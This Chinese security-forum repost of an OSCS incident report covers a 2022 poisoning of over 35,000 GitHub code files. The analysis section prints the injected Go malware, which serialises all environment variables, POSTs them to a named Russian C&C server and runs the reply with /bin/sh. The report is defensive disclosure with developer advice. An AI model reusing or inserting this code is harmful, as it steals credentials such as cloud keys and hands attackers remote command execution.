安全矩阵

 找回密码
 立即注册
搜索
查看: 1396|回复: 0

GitHub中超过3.5万开源代码被投毒

[复制链接]

251

主题

270

帖子

1783

积分

金牌会员

Rank: 6Rank: 6

积分
1783
发表于 2022-8-4 23:34:33 | 显示全部楼层 |阅读模式
本帖最后由 Meng0f 于 2022-8-4 23:38 编辑

GitHub中超过3.5万开源代码被投毒
转载于: OSCS开源安全社区 [url=]OSCS[/url] 2022-08-03 18:19 发表于北京
收录于合集#开源安全生态守护计划10个

事件简述
8月3日13时名为StephenLacy在 Twitter 中表示其发现 GitHub 中大量仓库被加入了恶意代码,感染文件超过3.5万,涉及 Go 代码、NPM 安装脚本、容器镜像配置等内容。

  • 被感染的仓库大多数处在长期不维护的状态,star 和 fork 数量基本为0
  • 恶意代码在最早在2019年已经提交进部分仓库,不少仓库是在最近10天左右被感染
  • 信息收集和控制指令的服务地址位于俄罗斯


15时许,GitHub 开始对受影响仓库进行清理,当前受影响仓库已经全部无法访问。
由于被投毒的开源仓库大多无人关注,预计此次事件本身的实际影响较小,但从攻击手法上来看体现了攻击者有较强的工程化利用能力。


以 ovz1.j19544519 作为关键词在 GitHub 中可以搜索到超过3.5万个代码文件的结果。


最早提交的恶意代码是在2019年



攻击手法分析
目前官方暂未给出该事件具体原因,对于此事件涉及众多账号,我们猜想可能存在以下三种情况:
  • GitHub 账号撞库
    抽样统计可以发现,多个被投毒的账号密码此前已经泄漏,因此可能通过撞库获得账号权限



  • GitHub API Token 泄漏
    攻击者通过收集公开泄漏的 token ,从而对仓库进行直接操作
  • 攻击者注册了一批马甲账号
    攻击者可能注册了一批虚假的马甲账号,模仿真实项目,再通过马甲账号发布与原仓库类似的代码




恶意代码分析
投毒的仓库大多为 go 的仓库,其中恶意代码如下,逻辑本身较为简单。特殊的是除了恶意代码外,攻击者在 commit 中还加入了「逼真」的注释、license、commit 说明等内容,使得恶意代码更容易隐藏。

攻击者可能通过收集原仓库 commit 信息,而后生成与之相似的结果,例如与代码变更相符的 Update README.md 或 Update license 提交,体现了攻击者有较强的工程化能力。


代码会先尝试获取"e452d6ab"环境变量,如果为"e452d6ab"值为1则直接结束运行。
  if os__.Getenv("e452d6ab") == "1" {
    return
  }
如果找不到对应的环境变量则设置"e452d6ab"环境变量,防止重复执行,然后将当前环境的环境变量转为json格式的变量env。

  os__.Setenv("e452d6ab", "1")
  env, err := json__.Marshal(os__.Environ())
  if err != nil {
    return
  }
再将对应的环境变量发送给恶意服务器,环境变量中可能会包含AWS access keys,Crypto keys 等敏感内容。

res, err := http__.Post("http://ovz1.j19544519.pr46m.vps.myjino.ru:49460/?org=gojek-engineering&repo=go-multierror", "application/json", bytes__.NewBuffer(env))
  if err != nil {
    return
  }

最后使用sh执行恶意服务器的返回内容,为接下来的远程控制服务器,持久化连接,窃取敏感信息等恶意行为做准备。
  defer res.Body.Close()
  body, err := ioutil__.ReadAll(res.Body)
  if err != nil {
    return
  }
  if string(body) != "" {
    exec__.Command("/bin/sh", "-c", string(body)).Start()
  }
}
恶意代码中的 C&C 地址 ovz1.j19544519.pr46m.vps.myjino.ru,由俄罗斯的一家云服务器厂商 Джино 提供,因此攻击者位于俄罗斯的可能性较高。

针对开发者的建议
当前被投毒的仓库已经被 GitHub 官方删除,这些仓库大多无人关注,因此此次事件本身的实际影响较小,开发者在使用开源组件时需要注意甄别。


从账号安全的角度来看,开发者需要尽量启用多因素验证、避免API token的泄漏,防止自己的项目被利用加入恶意代码。


情报订阅
OSCS(开源软件供应链安全社区)通过最快、最全的方式,发布开源项目最新的安全风险动态,包括开源组件安全漏洞、事件等信息。同时提供漏洞、投毒情报的免费订阅服务,社区用户可通过配置飞书、钉钉、企业微信机器人,及时获得一手情报信息推送:

具体订阅方式详见:

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-20 21:04 , Processed in 0.015995 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表